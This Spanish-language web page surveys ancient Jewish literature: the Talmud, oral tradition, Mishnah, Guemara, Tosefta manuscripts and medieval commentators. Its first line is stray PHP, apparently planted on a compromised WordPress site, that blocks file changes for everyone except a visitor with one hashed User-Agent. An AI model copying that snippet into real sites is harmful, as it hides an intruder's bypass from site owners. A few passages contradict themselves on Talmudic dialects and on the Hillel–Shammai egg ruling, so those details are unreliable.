if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Talmud – Texto Bíblico

Eruditos judaicos

La obra de los eruditos judaicos respecto a los escritos bíblicos y no bíblicos no cesó cuando se completó el Talmud. Durante los siglos siguientes se produjeron numerosos comentarios del Talmud, como también comentarios acerca de la Biblia hebrea. Hasta el siglo X toda la interpretación judaica del Antiguo Testamento (Biblia hebrea) se efectuó con la ayuda de la Haggadá o de alegorías.

Las interpretaciones alegóricas también estuvieron en boga entre los “padres” cristianos. Sin embargo, la influencia posterior de la erudición arábiga trajo un cambio que indujo a los eruditos judaicos a que dieran a sus estudios un enfoque gramatical y lexicográfico más sólido, y se logró una comprensión más racional de la Biblia hebrea. Los comentadores más antiguos que merecen esta designación fueron Saadia ben José (m. 942), Samuel ben Hofni (m. 1034) y Moisés ibn Gikatilla, que vivió en la última parte del siglo XI. Sin embargo, las lumbreras máximas entre los comentadores judaicos trabajaron en los siglos XII y XIII. Entre éstos se cuentan Rashi (o Raschi), Ibn (o Abén) Ezra, David Kimhi y Maimónides, cuyas obras no sólo han influido en el pensamiento religioso judío hasta el día de hoy sino también, en menor grado, en el pensamiento de los comentadores cristianos.

Rashi (1040-1105), rabino francés, escribió comentarios acerca de la Biblia y del Talmud. Su comentario bíblico ha sido impreso en la mayoría de las Biblias rabínicas, y su comentario sobre el Pentateuco es muy usado entre los judíos.

Ibn Ezra (1092-1167) fue un judío español que viajó mucho en la zona del Mediterráneo, por lo que adquirió un conocimiento enciclopédico tan grande que sus comentarios acerca de los libros bíblicos fueron valiosas fuentes de información.

David Kimhi (1160-1235) pertenecía a una familia de eruditos judíos de Francia. Su mayor obra exegética es un comentario de los libros proféticos del Antiguo Testamento; sin embargo, tuvo más influencia como gramático y lexicógrafo. Su famosa gramática hebrea, que contiene una lista de raíces hebreas, durante siglos constituyó la base de la escritura gramatical hebrea tanto para los judíos como para los cristianos.

Maimónides (1135-1204) fue el más notable de todos los eruditos y filósofos judíos de la Edad Media. Nació en España y se hizo famoso como líder del judaísmo en Egipto. Su comentario arábigo sobre la Mishnah dio verdadero significado a muchas frases oscuras de los antiguos rabinos, y extrajo de ellas valores éticos y dogmáticos. Sus obras influyeron tanto en los escolásticos cristianos como en los filósofos musulmanes. Tomás de Aquino, Meister Eckhart y aun el filósofo Leibnitz dedujeron ideas filosóficas básicas de Maimónides.

Tosefta

ANTIGUA LITERATURA JUDÍA

El Talmud

Tosefta

Tosefta (arameo), significa “extensión”, “complemento”, “adición”, es una colección e interpretación de sentencias halákicas que no se encuentran en la Mishnah ni están citadas como Baraitas en la Guemara. De manera que en realidad no es una parte del Talmud.

A semejanza de la Mishnah, la Tosefta está dividida en seis órdenes (Sedarim), pero en total sólo abarca 59 opúsculos en comparación con los 63 de la Mishnah -faltan: Aboth [o Avot](Nezikin), y Tamid, Middot y Kinnim (de Qodashim).

No se conocen con exactitud sus recopiladores originales, pero deben haber hecho su obra antes de que se completara el Talmud.

Manuscritos de la Tosefta

Existen tres manuscritos:

1. Viena (fines del siglo XIII a comienzos del siglo XIV) – Oesterreichische Nationalbibliothek Cod hebr. 20).

The Vienna Manuscript, folio 15. End of Berachot, beginning of Peah.

Le faltan las siguientes pequeñas secciones de la Tosefta:

1) Demai, mitad del capítulo 5 – capítulo 8

2) Terumot, capítulo 1 – mitad del capítulo 2

3) Nazir, mitad del capítulo 3 – mitad del capítulo 4

4) Sotah, mitad del capítulo 6 – mitad del capítulo 7

5) Bava Batra, mitad del capítulo 2 – mitad del capítulo 4

6) Sanhedrin, mitad del capítulo 8 – mitad del capítulo 9

7) Makkot, capítulo 2

8) Ohalot, mitad del capítulo 4 – mitad del capítulo 5

9) Mikvaot, mitad del capítulo 3 – mitad del capítulo 6

10) Zavim, mitad del capítulo 1 – mitad del capítulo 3

 

2. Berlin (siglo XII)- Staatsbibliothek (Preussischer Kulturbesitz) Or. Fol. 1220 – Érfurt

Este manuscrito de la Tosefta parece ser el más antiguo que existe, pero no está completo. contiene los cuatro primeros Sedarim (Zerayim, Moed, Nashim y Neziḳin) de la Tosefta y los cuatro primeros y medio capítulos de Masechta Zevachim.

The Erfort Manuscript, folio 16. End of Berachot, beginning of Peah.The London Manuscript. Shekalim, chapter 3.

3. Londres (siglo XV) – British Library Add. 27296 (Cat. Margoliouth 445).

Es el más reciente y el segundo manuscrito más breve de la Tosefta, ya que contiene solamente Seder Moel y Masechta Chulin en 73 páginas.

The London Manuscript, chapter 3.

Además de estos tres manuscritos, existen también pequeñas secciones de la Tosefta que se encontraron en la Geniza de El Cairo y la Geniza Europea. Uno de estos fragmentos ha sido llamado de Manuscrito Schocken, aunque la mayoría de los estudiosos lo consideran como un fragmento ya que contiene sólo cuatro páginas conuna pequeña parte de la Seder Nezikim. El final del capítulo 11 de Bava Kama hasta el capítulo 5 de Bava Metzia. El fragmento, en sí mismo, no está completo porque las páginas fueron arrancadas. Se conserva en la Biblioteca Schocken del Seminario Teológico Judío en Jerusalén y está etiquetado como Manuscrito 2.041.

The Schockhen Manuscript. Bava Metzia, chapter 5.

Los “fragmentos Geniza” de la Tosefta se originan, principalmente, de la Geniza de El Cairo o de la Geniza Europea (la mayoría italiana) y se dispersan a través de varias colecciones de muchas bibliotecas de todo el mundo. Entre ellos está el  fragmento existente más antiguo de la Tosefta: siglo X, de la ciudad de Norcia, Italia, que contiene una parte de Masechta Nedarim.

Geniza Fragment from the Italian Geniza. Bologna, Italy, Archivio di Sato, Hebrew fragment 14.

 

Oldest extant Geniza Fragment of the Tosefta from de Italian Geniza.

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Enlaces externos:

Jewish Encyclopedia – TOSEFTA

Catholic Encyclopedia – Tosephta

Introduction to the Tosefta – Manuscripts of the Tosefta

Tosefta Berachot

Wikipedia – Tosefta

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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Guemara

ANTIGUA LITERATURA JUDÍA

El Talmud

Guemara

(o “Guemarra”)

La codificación de la Mishnah dio fin a una era en la historia de los judíos, pues significó la terminación de la obra de los Tanna’im (sing. Tanna, “instructor”), los “tradicionalistas”, que habían transmitido la Halaká oralmente de una generación a otra. Durante el período siguiente, los eruditos de la ley judía son llamados ‘Amoraim (arameo: “aquellos que dicen” o “aquellos que comentan”), “pronunciadores” o “exégetas”. Consideraban que su tarea era estudiar la Mishnah para interpretarla y resolver sus contradicciones reales o aparentes.

Los ‘Amoraim trabajaron intensamente durante los siglos III y IV de la era cristiana, y su material nuevo – que consiste de una esmerada exégesis de la Mishnah – fue codificado durante los siglos IV y V. En ese tiempo, este material exegético fue llamado Talmud (“enseñanza”); sin embargo, en épocas posteriores llegó a conocerse como Guemara, “terminación”, y con frecuencia ahora se aplica la palabra Talmud a la Mishnah y la Guemara combinadas. En la Guemara se incluyen Baraitas o declaraciones de la Halaká que no encontraron lugar en la Mishnah.

La Mishnah era una obra unificada escrita en hebreo y aceptada por todos los judíos, pero la Guemara de los eruditos palestinos – conocida como el Talmud de Jerusalén – era notablemente diferente del de sus colegas babilonios, que es llamado el Talmud Babilónico. El Talmud de Jerusalén incluye la Guemara de 38 opúsculos de las primeras cuatro órdenes de la Mishnah y de un opúsculo de la sexta orden.

The first page of the Vilna Edition of the Babylonian Talmud, Tractate Berachot, folio 2a.

La Mishnah fue escrita en hebreo, pero la Guemara del Talmud de Jerusalén fue compuesta en un dialecto arameo occidental. El Talmud Babilónico incluye la Guemara de 34 opúsculos de la Mishnah, de las órdenes segunda a quinta, y de un opúsculo de la primera orden y de la sexta.

A page of a medieval Jerusalem Talmud manuscript, from the Cairo Genizah.

Tanto en el Talmud Babilónico como en el de Jerusalén, la Mishnah está en hebreo; pero la Guemara del primero de ellos está en un dialecto arameo occidental, mientras que la del último está en un dialecto arameo oriental. El Talmud de Jerusalén tuvo poca aceptación fuera de Palestina; pero el Talmud Babilónico se ha convertido en la norma aceptada por los judíos ortodoxos desde su edición final c. 500 d. C.

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Enlaces externos:

The Babylonian Talmud

Gemara

Talmud

Babylonian Talmud [Full Text] | Jewish Virtual Library

Judaism: The Oral Law –Talmud & Mishna

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
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La Mishnah

Mishnah-A-Zeraim-1

ANTIGUA LITERATURA JUDÍA

El Talmud

La Mishnah

La Mishnah (literalmente “repetición”) es la codificación de la ley tradicional de los judíos. Contiene reglas y requisitos formulados a través de muchos siglos por el sanedrín, por Hillel, Shammai y por otros famosos rabinos. Contiene conclusiones tomadas de decisiones acerca de casos nuevos en los cuales las reglas antiguas necesitaban ser reinterpretadas o modificadas. Por eso las reglas y las prohibiciones rituales religiosas constituyen la mayor parte de la Mishnah.

El que preparó la Mishnah fue Judá, hijo de Simón (c. 135 d.C. – c. 220 d.C.), conocido comúnmente como Judá ha-Nasi (“Judá el Príncipe”), o simplemente como Rabino. El dirigió la preparación de la primera edición completa de la ley tradicional judía en forma escrita. Judá ha-Nasi era un erudito sumamente agudo. Estudió griego, latín y astronomía con maestros seculares, y las enseñanzas de la ley judaica con varios destacados eruditos de su tiempo. Pronto aventajó a todos sus instructores y llegó a ser una autoridad tan reconocida en halaká, que sus decisiones fueron colocadas por encima de las del sanedrín, cuyos reglamentos se consideraban obligatorios sólo si el rabino Judá los sancionaba. Por ser presidente del sanedrín recibió el título de hanasi, “el Príncipe”; y por sus estrictos hábitos de vida se lo consideraba haqqadosh, “el santo”. Siguió los pasos de Akiba y de Meïr, y puso orden en las muchas reglas halákicas y las agrupó en temas tales como días de fiesta, ofrendas, purificación, etc. Esa obra fue terminada alrededor del año 200 d. C., y se ha convertido en la Mishnah oficial del judaísmo.

La Mishnah se convirtió después del Antiguo Testamento en la principal fuente de estudios religiosos judaicos, y con frecuencia su autoridad lo ha reemplazado. También llegó a ser el vínculo espiritual que unió a los judíos esparcidos en muchas naciones. Después de que la Mishnah se convirtió en norma de vida, lo cierto es que el sanedrín y los dirigentes judaicos fueron casi superfluos.

Según la distribución hecha por Judá ha-Nasi, la Mishnah está dividida en seis sedarim, u “órdenes” que contienen 63 opúsculos, cada uno con un nombre que indica su contenido.

Las seis “órdenes” son:

1. Zeraim (“semillas”): contiene 11 opúsculos (Berakhot [Berachot],  Pe’ah,  Demai,  Kil’ayim [Kilayim],  Shevi’it,  Terumot,  Ma’aserot,  Ma’aser Sheni,  Hallah,  Orlah,  Bikkurim), y trata principalmente de agricultura y sus productos.

3. Nashim (“mujeres”): contiene 7 opúsculos (Yevamoth [o Yebamoth, Yevamot, Yebamot],  Ketubot, Nedarim, Nazir, Sotah, Gittin, Kiddushin) y trata principalmente de reglas del matrimonio y la vida conyugal.

2. Moed (“fiestas establecidas”): contiene 12 opúsculos (Shabbat, Eruvin, Pesahim, Shekalim, Yoma, Sukkah, Beitza, Rosh Hashanah, Ta’anit, Megillah, Mo’ed Katan, Hagigah) y presenta reglas en cuanto al sábado y las fiestas.

4. Nezikin (“daños”): contiene 10 opúsculos y trata de las leyes civiles y criminales.

1. Bava Kamma (10 capítulos), trata de los asuntos civiles, en su mayoría los daños y la indemnización.

2. Bava Metzia (10 capítulos), trata de los asuntos civiles, en su mayoría agravios y el derecho de propiedad.

3. Bava Batra (10 capítulos), trata de los asuntos civiles, en su mayoría propiedad de la tierra.

4. Sanhedrin (11 capítulos), trata de las normas de procedimiento judicial en el Sanedrín, la pena de muerte, y otros asuntos criminales.

5. Makkot (3 capítulos), trata de testigos falsos, ciudades de refugio y el castigo de azotes.

6. Shevu’ot (8 capítulos), trata de los distintos tipos de juramentos y sus consecuencias.

7. Eduyot, (8 capítulos), presenta estudios de casos de disputas legales en tiempos de la Mishnah y los diversos testimonios que ilustran varios sabios y principios de la Halaká.

8. Avodah Zarah, 5 capítulos; trata de las leyes de las interacciones entre los Judíos y Gentiles y / o idólatras (desde una perspectiva judía).

9. Aboth [o Avot] (5 capítulos), es una colección de máximas morales y religiosas de los sabios.

10. Horayot (3 capítulos), trata de la expiación para los principales errores cometidos por el Sanedrín.

5. Qodashim [o Kodashim, o Qodhashim] (“cosas santificadas”): contiene 11 opúsculos (Zevahim, Menachot, Hullin, Bechorot, Arachin, Temurah, Keritot, Me’ilah, Tamid, Middot, Kinnim) y trata de las ofrendas.

6. Tohoroth (“limpiezas”): contiene 12 opúsculos (Kelim, Oholot, Nega’im, Parah, Tohorot,  Mikva’ot,  Niddah,  Makhshirim,  Zavim, Tevul Yom, Yadayim, Ukzin [Uktzim]) y se ocupa de reglas en cuanto a las cosas limpias e inmundas.

La Mishnah rara vez trata de temas puramente teológicos y contiene poco material haggádico. La excepción más digna de destacarse es el opúsculo ‘Aboth, o Pirqe ‘Aboth (el opúsculo noveno de Seder Nezikin), que es una colección de aforismos edificantes de los más famosos eruditos judíos desde alrededor de 200 a. C. hasta 200 d. C. Ninguna otra parte de la Mishnah se ha traducido e impreso tan frecuentemente.

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Enlaces externos:

– The Story of the Talmud

– Mishnah

– The Mishnah

Wikipedia: – Zeraim – NashimMoedNezikin –  Kodashim – Tohoroth

Jewih Virtual Library: Nezikin – Babilonian Talmud

TOHOROTH

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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Tradición oral

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ANTIGUA LITERATURA JUDÍA

El Talmud

Tradición oral

Los rabinos de la era apostólica afirmaban que la tradición oral judía era del mismo origen divino que la revelación escrita de la Torah. Esta tradición fue transmitida a las generaciones sucesivas hasta que a comienzos del siglo III d.C., aproximadamente, llegó a su forma escrita como la Mishnah y se convirtió en la norma de conducta para los judíos ortodoxos.

La tradición judía aún florecía en forma oral cuando se escribió el Nuevo Testamento, y se ocupaba principalmente de la exégesis de las Escrituras hebreas, la cual se conocía como Midrash. Esta exégesis no tenía un enfoque lingüístico o histórico en el sentido moderno, sino era más bien una búsqueda de nuevo conocimiento, y el texto bíblico sólo se usaba para dar orientación e inspiración. Esta exégesis se basaba en deducciones lógicas, en combinaciones de pasajes relacionados entre sí e interpretaciones alegóricas.

El Midrash que trata de temas históricos o dogmáticos recibe el nombre de Haggadá (“expresión”), o Midrash haggádico, y la parte que trata de asuntos legales se llama Halaká (literalmente “camino”, es decir, “una norma” o “una regla”) o Midrash halákico.

El término Haggadá se refiere a materiales no bíblicos y a la exégesis de los temas poéticos, históricos y otros asuntos no legales de la Biblia hebrea. Era la forma corriente que se usaba en la sinagoga para explicar la Biblia por medio de símbolos, alegorías, fábulas y parábolas. La Haggadá no estaba sujeta a reglas estrictas de exégesis y permitía el uso de casi cualquier recurso que dejara en el oyente una impresión duradera. La voluminosa y legendaria literatura judía del medioevo es principalmente el resultado de la exégesis haggádica de la Biblia. Sin embargo, sólo una pequeña parte del Talmud debe su origen a la Haggadá.

El término Halaká se refiere a los reglamentos religiosos basados principalmente en las secciones legales de la Biblia. La Haggadá era el sistema de exégesis que se usaba principalmente en los servicios de las sinagogas, en tanto que la Halaká se estudiaba en las escuelas religiosas más avanzadas. Si era posible hacerlo, se le daba una base de las Escrituras a los reglamentos halákicos; pero muchas reglas para las cuales no había base bíblica eran defendidas apoyándose en la pretensión de que habían sido entregadas a Moisés en el Sinaí sólo en forma oral. La Halaká fue codificada sistemáticamente, y la máxima ambición de cada judío erudito en la ley (los “escribas” del Nuevo Testamento) era aprender y entender todas las reglas halákicas relacionadas con la vida religiosa y secular de un judío escrupuloso.

Los maestros supremos de la Halaká fueron Hillel el Anciano (murió c. 20 d. C.) y Shammai. Ambos elaboraron sus enseñanzas en las últimas décadas del siglo I a. C., y sus seguidores formaron escuelas separadas. Hillel era famoso por la dulzura de su carácter, que se manifestaba en reglamentos más liberales que los enunciados por Shammai. Si bien concordaba con Shammai en que la letra de la Torah debía cumplirse literalmente, la interpretaba de tal manera que sólo debían cumplirse los requerimientos mínimos de la ley; en cambio Shammai era estricto y exigía a sus seguidores los requerimientos máximos de la ley.

Para los no judíos con frecuencia deben haber parecido artificiales las diferencias entre las escuelas de Hillel y de Shammai.

La naturaleza de los puntos de vista halákicos y las diferencias entre Hillel y Shammai se ilustran con el siguiente ejemplo: Shammai dictaminaba que no era permitido vender cosa alguna a un gentil o ayudarlo a cargar su bestia si iba a viajar con esa carga en sábado; Hillel no veía ningún mal en permitir esto (Mishnah Shabbat 1. 5). ¹

Un ejemplo bastante extremo de la minuciosidad de Shammai, era su insistencia en que cuando se buscaban aves para sacrificar en un día de fiesta, no se podía mover una escalera de un palomar a otro, sino sólo de una abertura a otra del mismo palomar; en cambio Hillel permitía ambas cosas (Mishnah Betzah 1. 2).²

Sin embargo, hay unos pocos casos en los cuales las reglas de Hillel parecen más estrictas que las de Shammai. Por ejemplo, permitía que se comiera un huevo puesto en sábado; pero Hillel lo prohibía argumentando que las restricciones para preparar alimento en sábado se aplicaban no sólo a los hombres sino también a las gallinas (Mishnah Eduyoth 4. 1).³

Después de que Tito destruyó a Jerusalén, se fundó una academia de conocimientos judaicos en Jamnia, al sur de Jope. Aquí también se reorganizó el sanedrín. El primer director de este centro de sabiduría judaica fue el rabino Johanán ben Zakkai. El fue quien logró conservar la tradición judaica para la posteridad, haciéndola – después de las Escrituras hebreas – el centro de todo el pensamiento y la vida de los judíos ortodoxos. El más famoso de sus sucesores fue el rabino Akiba (c. 50 d. C. – c. 132), uno de los principales pensadores judíos de todos los tiempos. De acuerdo con las opiniones de los rabinos, Akiba logró una comprensión más profunda y más penetrante de la ley que Moisés mismo.

Los primeros años de la vida de Akiba están velados por la oscuridad, pero se sabe que era de origen humilde y que no comenzó sus estudios hasta que fue un hombre maduro. Como aprendió a leer y a escribir siendo adulto, mantuvo un respeto temeroso y místico hacia la escritura. Esa reverencia se manifestó en una exégesis que daba sentido no sólo a las frases y las palabras, sino también a las letras y a las partes de éstas. Consideraba que su principal tarea era la de hallar una base bíblica real o supuesta para cada halaká mediante una deducción lógica, con lo cual logró dar un orden sistemático a la gran masa de material halákico. Así creó la primera recopilación completa de la Mishnah. Aunque ese material todavía no había sido registrado por escrito, es posible que algunas pequeñas recopilaciones halákicas fueran escritas bajo su dirección.

El rabí Akiba es, además, importante porque fue uno de los líderes del Concilio de Jamnia (c. 90 d. C.), donde se tomaron importantes decisiones acerca del canon y del texto hebreo de la Biblia, y también porque apoyó al revolucionario Barcoquebas como al Mesías prometido, durante la guerra que comenzó en 132 d. C. Es evidente que fue hecho prisionero por los romanos aun antes de que estallara la guerra. Murió como mártir, al final de la guerra.

El más ilustre de los discípulos de Akiba fue el rabino Meïr, que continuó y completó el sistema legal de su maestro. Su importancia es evidente por el hecho de que en la Mishnah es citado más que cualquiera de sus predecesores.

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¹ “The Beth Shamai says: One shall not sell anything to a Gentile (on Friday) or help him load his animal, or help him shoulder a burden unless he (the Gentile) can reach (with his load) the nearest place while it is yet day. The Beth Hillel permits this.” (The Babylonian Talmud, Book 1: Tract Sabbath, tr. by Michael L. Rodkinson, [1903], at sacred-texts.com) CHAPTER I. REGULATIONS REGARDING TRANSFER ON SABBATH. MISHNA V.

² “Beth Shammai say: It is prohibited to remove a ladder from one dove-cote to another; it may, however, be inclined from one opening to another (of the same dove-cote). But Beth Hillel allow both.” TRACT BETZAH (YOM TOB). CHAPTER I. MISHNA II (pág 15).

³ “In the following cases the decisions of Beth Shamai are lenient, and those of Beth Hillel rigorous. An egg laid on a holiday is, according to Beth Shamai, allowed to eat on that day, but is not so according to Beth Hillel.” Tract Eduyoth (Testimonies) CHAPTER IV, MISHNA I.

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The Babylonian Talmud

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
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Tosefta

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El Talmud

Талмуд_Вавілонскі._Трактат_Сангедрын_02
Portada del Talmud de Babilonia, edición de Vilna, 1881.

ANTIGUA LITERATURA JUDÍA

El Talmud

El conjunto de leyes civiles y canónicas de los judíos está contenido en una obra muy extensa conocida como el Talmud, palabra que significa “enseñanza”.

El Talmud se originó en la tradición oral que fue desarrollándose a través de varios siglos y comenzó a escribirse aproximadamente a comienzos del siglo III d. C., con la codificación de su parte básica: la Mishnah (codificación de la ley oral, dividida por temas en diversos tratados).*

En los dos siglos siguientes se elaboró y codificó un gran conjunto de comentarios, exposición y debate sobre las diversas secciones de la Mishnah, que se conoce como la “Gemara” (Guemara o Guemarra).

Estas dos colecciones constituyen el Talmud y suministran la estructura del judaísmo tradicional.

Existen dos versiones del Talmud: el Talmud de JerusalénTalmud Yerushálmi o Talmud Palestino-, que se redactó en la entonces recién creada provincia romana llamada Philistea, y el Talmud de Babilonia (Talmud Bávli), que fue redactado en la región de Babilonia, en Mesopotamia.

Talmud de Babilonia, edición de Solomon ben Samson, Francia, 1342. Beth Hatefutsoth, Tel Aviv.

 

A page of a medieval Jerusalem Talmud manuscript, from the Cairo Genizah.

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* Con la destrucción del templo, la dispersión del sanedrín y la desaparición de todos los medios de gobierno propio, sólo quedó la sinagoga. Por consiguiente, aunque los judíos siguieron existiendo, unidos por vínculos de raza y de religión, cesaron por muchos siglos los vínculos nacionales y políticos. Desde entonces, su vida giraba, más que nunca antes, en torno a la sinagoga. Como ya no podían ofrecer sacrificios recurrían a la Torah como a su única fuente de fortaleza, en tanto que dirigían sus esperanzas futuras al Mesías que aún creían que vendría. La ley les proporcionaba una íntima convicción de justicia que ahora era más necesaria, pues el pueblo en general estaba lleno de melancolía y sus corazones abrumados por un sentimiento de fracaso y desesperanza; y la esperanza mesiánica les daba una seguridad de su restauración nacional y la promesa de que pronto tendrían aun más de lo que habían perdido. Aunque los judíos de esta triste época no podían tener una vida política propia, los romanos no les quitaron sus derechos políticos en el imperio ni tampoco interfirieron en nada en el uso de sus sinagogas.

Todo el sanedrín no escapó de Jerusalén, como algunos han dicho. Pero se formó un nuevo consejo en Jamnia, pueblo en la costa al sur de Jope. El director de ese nuevo centro de judaísmo fue Johanán ben Zakkai, fariseo, rabino y discípulo del famoso maestro Hillel. Era conservador, y cuando vio durante la guerra judía a donde el gobierno de los zelotes había llevado al pueblo, escapó de Jerusalén dentro de un ataúd y se rindió a los romanos. Después de la guerra consiguió permiso para establecer un colegio en Jamnia. Allí se reunieron rabinos sensatos, inteligentes y de influencia para establecer el nuevo concilio. A partir de esta fecha se obligó a los judíos a pagar impuestos al templo romano, pero el dinero que antes habían enviado para su propio templo ahora iba a Jamnia, de modo que este consejo disponía de recursos. Aunque este consejo no tenía poder legislativo ni judicial en el sentido político, presidía en la codificación de la ley y en las interpretaciones de los rabinos. Así comenzó la obra que más tarde produjo el Talmud.

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Enlaces externos:

Jewish Encyclopedia – TALMUD

The Catholic Encyclopedia – Talmud

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
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Tosefta

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Antigua Literatura Judía – Introducción

Antigua Literatura Judía

Introducción

Los cuatro siglos de historia judía desde la conquista de Alejandro Magno (332 a. C.) hasta la destrucción del templo de Jerusalén (70 d.C.) fueron un período de considerable actividad religiosa, política e intelectual. No es, pues, sorprendente que también se caracterizaran por un notable conjunto de producciones literarias, muchas de las cuales aún existen.

Esas obras son de naturaleza religiosa, pues la religión estaba entretejida en todos los aspectos de la vida judía. Al mismo tiempo reflejan acentuadamente las tendencias políticas e intelectuales de ese tiempo.

La literatura de este período está constituida por:

(1) Libros conocidos como “apócrifos” y “seudoepigráficos”, que consisten de literatura sapiencial, relatos patrióticos, hechos históricos y obras apocalípticas;

(2) los escritos de la comunidad de Qumrán (probablemente esenios), la mayoría de los cuales provienen de las cuevas descubiertas cerca de mar Muerto;

(3) los tratados alegóricos de Filón de Alejandría, el teólogo-filósofo helenístico;

(4) las obras de Josefo.

Después de la destrucción del templo, y más aún después de que fue sofocada la revolución encabezada por Simón Barcoquebas (132-135 d. C.), la vida y el pensamiento de los judíos experimentaron profundos cambios.

Como habían terminado tanto el ritual del templo como su existencia como entidad política, los judíos concentraron sus energías intelectuales en un esfuerzo para no ser absorbidos cultural y racialmente por el mundo gentil; y lo hicieron dando énfasis a los aspectos legales de su vida religiosa y ocupándose minuciosamente en ellos, tendencia que ya tenía una larga historia, especialmente entre los fariseos.

Si bien es cierto que al principio sus disposiciones legales fueron preservadas mayormente mediante la tradición oral, desde comienzos del siglo II tomaron una forma literaria definida, y en el siglo VI ya se habían convertido en lo que ahora se conoce como el Talmud, la compilación tradicional de la ley judía.

Junto con el Talmud surgió un extenso comentario tradicional judío de las Escrituras conocido como el Midrash (o Midrás). Una buena parte de esto resultó de la exposición del Antiguo Testamento en las sinagogas. La literatura proveniente del Midrash no alcanzó su forma final hasta aproximadamente el año 1000.

Se tratará brevemente cada uno de estos tipos de antigua literatura judía.

Los Apócrifos 

Los Seudoepigráficos 

La Literatura de la Comunidad del Qumrán 

La Septuaginta, Filón y Josefo 

Los tárgumes 

El Talmud

Comentadores posteriores